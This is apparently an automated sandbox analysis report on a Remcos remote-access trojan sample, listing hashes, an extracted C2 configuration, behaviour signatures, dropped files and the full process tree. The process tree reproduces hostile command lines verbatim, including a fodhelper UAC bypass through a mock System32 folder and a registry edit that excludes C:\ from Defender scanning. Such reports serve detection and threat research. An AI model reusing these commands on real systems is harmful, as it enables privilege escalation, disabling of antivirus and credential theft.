Analysis

  • max time kernel
    148s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-07-2024 01:40

General

  • Target

    e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe

  • Size

    1.1MB

  • MD5

    2d655119c0aa977debf88758f2009729

  • SHA1

    40c98ca63e9f78284cddbefddc03b6c6ad070462

  • SHA256

    e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9

  • SHA512

    fe96ee94b8c57c76650288eb589eb41b0430ea45597d025c1ecead87cafd75d5bb58204999ca78f736f54b26b247959d079a498784bdcb274bc159fcc4b395c8

  • SSDEEP

    24576:Edd+fYkdMwkRdF36Xq5W2xnXuWmStY6mATIU:EHkvXqE2NXufB6Xv

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

127.0.0.1:45645

127.0.0.1:56765

latestgrace2024.duckdns.org:56765

latestgrace2024.duckdns.org:45645

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-2ZXBPR

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 18 IoCs
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Kills process with taskkill 3 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: MapViewOfSection 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe
    "C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1696
    • C:\Users\Public\Libraries\ioeztdcY.pif
      C:\Users\Public\Libraries\ioeztdcY.pif
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2024
      • C:\Windows\system32\cmd.exe
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\D65B.tmp\D65C.tmp\D65D.bat C:\Users\Public\Libraries\ioeztdcY.pif"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3904
        • C:\Windows\System32\extrac32.exe
          C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
          4⤵
            PID:4708
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
            4⤵
            • Executes dropped EXE
            PID:4232
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
            4⤵
            • Executes dropped EXE
            PID:3088
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:1924
            • C:\Windows\system32\extrac32.exe
              extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
              5⤵
                PID:1972
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
              4⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:2088
              • C:\Windows\system32\extrac32.exe
                extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                5⤵
                  PID:4404
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
                4⤵
                • Executes dropped EXE
                • System Network Configuration Discovery: Internet Connection Discovery
                • Suspicious use of WriteProcessMemory
                PID:1544
                • C:\Windows\system32\PING.EXE
                  ping 127.0.0.1 -n 2
                  5⤵
                  • System Network Configuration Discovery: Internet Connection Discovery
                  • Runs ping.exe
                  PID:4892
              • C:\Windows\system32\cmd.exe
                cmd.exe
                4⤵
                  PID:3864
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                  4⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:1680
                  • C:\Windows\system32\extrac32.exe
                    extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                    5⤵
                      PID:2964
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                    4⤵
                    • Executes dropped EXE
                    PID:4660
                  • C:\Windows \System32\per.exe
                    "C:\\Windows \\System32\\per.exe"
                    4⤵
                    • Checks computer location settings
                    • Executes dropped EXE
                    PID:4396
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:2268
                    • C:\Windows\system32\taskkill.exe
                      taskkill /F /IM SystemSettings.exe
                      5⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4852
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:4328
                    • C:\Windows\system32\taskkill.exe
                      taskkill /F /IM SystemSettingsAdminFlows.exe
                      5⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2232
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
                    4⤵
                    • Executes dropped EXE
                    • System Network Configuration Discovery: Internet Connection Discovery
                    • Suspicious use of WriteProcessMemory
                    PID:3536
                    • C:\Windows\system32\PING.EXE
                      ping 127.0.0.1 -n 2
                      5⤵
                      • System Network Configuration Discovery: Internet Connection Discovery
                      • Runs ping.exe
                      PID:4840
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                    4⤵
                    • Executes dropped EXE
                    PID:1944
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                    4⤵
                    • Executes dropped EXE
                    PID:4800
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                    4⤵
                    • Executes dropped EXE
                    PID:4872
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S
                    4⤵
                    • Executes dropped EXE
                    PID:1948
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                    4⤵
                    • Executes dropped EXE
                    PID:4924
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c taskkill /F /IM cmd.exe
                    4⤵
                    • Executes dropped EXE
                    PID:4672
                    • C:\Windows\system32\taskkill.exe
                      taskkill /F /IM cmd.exe
                      5⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1800
              • C:\Windows\SysWOW64\extrac32.exe
                C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe C:\\Users\\Public\\Libraries\\Ycdtzeoi.PIF
                2⤵
                • System Location Discovery: System Language Discovery
                PID:2548
              • C:\Windows\SysWOW64\colorcpl.exe
                C:\Windows\System32\colorcpl.exe
                2⤵
                • Suspicious use of SetThreadContext
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: MapViewOfSection
                PID:4100
                • C:\Windows\SysWOW64\colorcpl.exe
                  C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\qitlpebdemevmkzmyhzvf"
                  3⤵
                    PID:2344
                  • C:\Windows\SysWOW64\colorcpl.exe
                    C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\qitlpebdemevmkzmyhzvf"
                    3⤵
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1836
                  • C:\Windows\SysWOW64\colorcpl.exe
                    C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\tkyeqwmesuwioqnqpslxqmffq"
                    3⤵
                    • Accesses Microsoft Outlook accounts
                    • System Location Discovery: System Language Discovery
                    PID:1808
                  • C:\Windows\SysWOW64\colorcpl.exe
                    C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\dfewihxygconywcuzcyqtrawzgjd"
                    3⤵
                      PID:2888
                    • C:\Windows\SysWOW64\colorcpl.exe
                      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\dfewihxygconywcuzcyqtrawzgjd"
                      3⤵
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3508
                • C:\Windows\system32\SystemSettingsAdminFlows.exe
                  "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
                  1⤵
                    PID:1472
                  • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
                    C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
                    1⤵
                      PID:2088

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • C:\ProgramData\remcos\logs.dat

                      Filesize

                      130B

                      MD5

                      32693c34a9397b2bbc4ab5f93a905855

                      SHA1

                      2feef95ed32058ed786dadd79ec806069228a5ba

                      SHA256

                      cf806a64c3d34143bfea5841501905e21d48947044a5ef9ff8f0b6ea216dc414

                      SHA512

                      4b212fb2052f456856aae6da995c2206cff55c8a7f478be89882309d30186fed85c26e4c8ca3e8a0358d983d233a6fbcd1e76a1c51fadddfbd13801256d4cd08

                    • C:\Users\Admin\AppData\Local\Temp\D65B.tmp\D65C.tmp\D65D.bat

                      Filesize

                      1KB

                      MD5

                      54147a112fd4c4fffbdeb2eeab926f59

                      SHA1

                      7f4ae3d3dd6202e47bc02438a947065c7ed115a9

                      SHA256

                      b040ccd004e2e55f8ad1b022388bbcc72eefd37f122ec2c5ef1601ecabd7dc46

                      SHA512

                      20c214b5efb1c70df2704fb487d9ba4fddbc87e1e295d9b7320ce1617f532dc0fd814a016f91ae161ba506a20dcbcea337c6bbec74edb71824035334608b2488

                    • C:\Users\Admin\AppData\Local\Temp\qitlpebdemevmkzmyhzvf

                      Filesize

                      4KB

                      MD5

                      982ebb238759653970e22ee9fad24470

                      SHA1

                      15fca6be8cc4a276c9f70a73f28c52c3b0eead15

                      SHA256

                      c8b9cad5602932ea51b923f39f4b2d9aedf1f4915880d89032ab6636acaf9bea

                      SHA512

                      c8777edf0dd3e72e0cf3bb89db2bc7856fed0eeca7199806fec341e9168899e3b700c73a6b2e7cb0e8ccc5523116d6ecfde5c9ebcc83288a162dd1b0ea78201b

                    • C:\Users\Public\Libraries\ioeztdcY.pif

                      Filesize

                      66KB

                      MD5

                      c116d3604ceafe7057d77ff27552c215

                      SHA1

                      452b14432fb5758b46f2897aeccd89f7c82a727d

                      SHA256

                      7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301

                      SHA512

                      9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6

                    • C:\Users\Public\alpha.exe

                      Filesize

                      283KB

                      MD5

                      8a2122e8162dbef04694b9c3e0b6cdee

                      SHA1

                      f1efb0fddc156e4c61c5f78a54700e4e7984d55d

                      SHA256

                      b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

                      SHA512

                      99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

                    • C:\Users\Public\ger.exe

                      Filesize

                      75KB

                      MD5

                      227f63e1d9008b36bdbcc4b397780be4

                      SHA1

                      c0db341defa8ef40c03ed769a9001d600e0f4dae

                      SHA256

                      c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d

                      SHA512

                      101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9

                    • C:\Windows \System32\per.exe

                      Filesize

                      48KB

                      MD5

                      85018be1fd913656bc9ff541f017eacd

                      SHA1

                      26d7407931b713e0f0fa8b872feecdb3cf49065a

                      SHA256

                      c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5

                      SHA512

                      3e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459

                    • memory/1696-0-0x0000000000A20000-0x0000000000A21000-memory.dmp

                      Filesize

                      4KB

                    • memory/1696-48-0x0000000000A20000-0x0000000000A21000-memory.dmp

                      Filesize

                      4KB

                    • memory/1696-1-0x0000000000400000-0x0000000000527000-memory.dmp

                      Filesize

                      1.2MB

                    • memory/1808-96-0x0000000000400000-0x0000000000462000-memory.dmp

                      Filesize

                      392KB

                    • memory/1808-92-0x0000000000400000-0x0000000000462000-memory.dmp

                      Filesize

                      392KB

                    • memory/1808-93-0x0000000000400000-0x0000000000462000-memory.dmp

                      Filesize

                      392KB

                    • memory/1836-91-0x0000000000400000-0x0000000000478000-memory.dmp

                      Filesize

                      480KB

                    • memory/1836-94-0x0000000000400000-0x0000000000478000-memory.dmp

                      Filesize

                      480KB

                    • memory/1836-97-0x0000000000400000-0x0000000000478000-memory.dmp

                      Filesize

                      480KB

                    • memory/2024-11-0x0000000000400000-0x000000000041A000-memory.dmp

                      Filesize

                      104KB

                    • memory/2024-65-0x0000000000400000-0x000000000041A000-memory.dmp

                      Filesize

                      104KB

                    • memory/2024-12-0x0000000000400000-0x0000000001400000-memory.dmp

                      Filesize

                      16.0MB

                    • memory/2024-80-0x0000000000400000-0x0000000001400000-memory.dmp

                      Filesize

                      16.0MB

                    • memory/2024-6-0x0000000000400000-0x0000000001400000-memory.dmp

                      Filesize

                      16.0MB

                    • memory/2024-9-0x0000000000400000-0x0000000001400000-memory.dmp

                      Filesize

                      16.0MB

                    • memory/3508-95-0x0000000000400000-0x0000000000424000-memory.dmp

                      Filesize

                      144KB

                    • memory/3508-98-0x0000000000400000-0x0000000000424000-memory.dmp

                      Filesize

                      144KB

                    • memory/3508-99-0x0000000000400000-0x0000000000424000-memory.dmp

                      Filesize

                      144KB

                    • memory/4100-53-0x0000000000400000-0x0000000000482000-memory.dmp

                      Filesize

                      520KB

                    • memory/4100-90-0x0000000000400000-0x0000000000482000-memory.dmp

                      Filesize

                      520KB

                    • memory/4100-87-0x0000000000400000-0x0000000000482000-memory.dmp

                      Filesize

                      520KB

                    • memory/4100-88-0x0000000000400000-0x0000000000482000-memory.dmp

                      Filesize

                      520KB

                    • memory/4100-86-0x0000000000400000-0x0000000000482000-memory.dmp

                      Filesize

                      520KB

                    • memory/4100-85-0x0000000000400000-0x0000000000482000-memory.dmp

                      Filesize

                      520KB

                    • memory/4100-83-0x0000000000400000-0x0000000000482000-memory.dmp

                      Filesize

                      520KB

                    • memory/4100-82-0x0000000000400000-0x0000000000482000-memory.dmp

                      Filesize

                      520KB

                    • memory/4100-63-0x0000000000400000-0x0000000000482000-memory.dmp

                      Filesize

                      520KB

                    • memory/4100-55-0x0000000000400000-0x0000000000482000-memory.dmp

                      Filesize

                      520KB

                    • memory/4100-49-0x0000000004A80000-0x0000000005A80000-memory.dmp

                      Filesize

                      16.0MB

                    • memory/4100-54-0x0000000000400000-0x0000000000482000-memory.dmp

                      Filesize

                      520KB

                    • memory/4100-105-0x00000000168C0000-0x00000000168D9000-memory.dmp

                      Filesize

                      100KB

                    • memory/4100-109-0x00000000168C0000-0x00000000168D9000-memory.dmp

                      Filesize

                      100KB

                    • memory/4100-108-0x00000000168C0000-0x00000000168D9000-memory.dmp

                      Filesize

                      100KB

                    • memory/4100-110-0x0000000000400000-0x0000000000482000-memory.dmp

                      Filesize

                      520KB

                    • memory/4100-50-0x0000000000400000-0x0000000000482000-memory.dmp

                      Filesize

                      520KB

                    • memory/4100-116-0x0000000000400000-0x0000000000482000-memory.dmp

                      Filesize

                      520KB

                    • memory/4100-117-0x0000000000400000-0x0000000000482000-memory.dmp

                      Filesize

                      520KB

                    • memory/4100-124-0x0000000000400000-0x0000000000482000-memory.dmp

                      Filesize

                      520KB

                    • memory/4100-125-0x0000000000400000-0x0000000000482000-memory.dmp

                      Filesize

                      520KB

                    • memory/4100-132-0x0000000000400000-0x0000000000482000-memory.dmp

                      Filesize

                      520KB

                    • memory/4100-133-0x0000000000400000-0x0000000000482000-memory.dmp

                      Filesize

                      520KB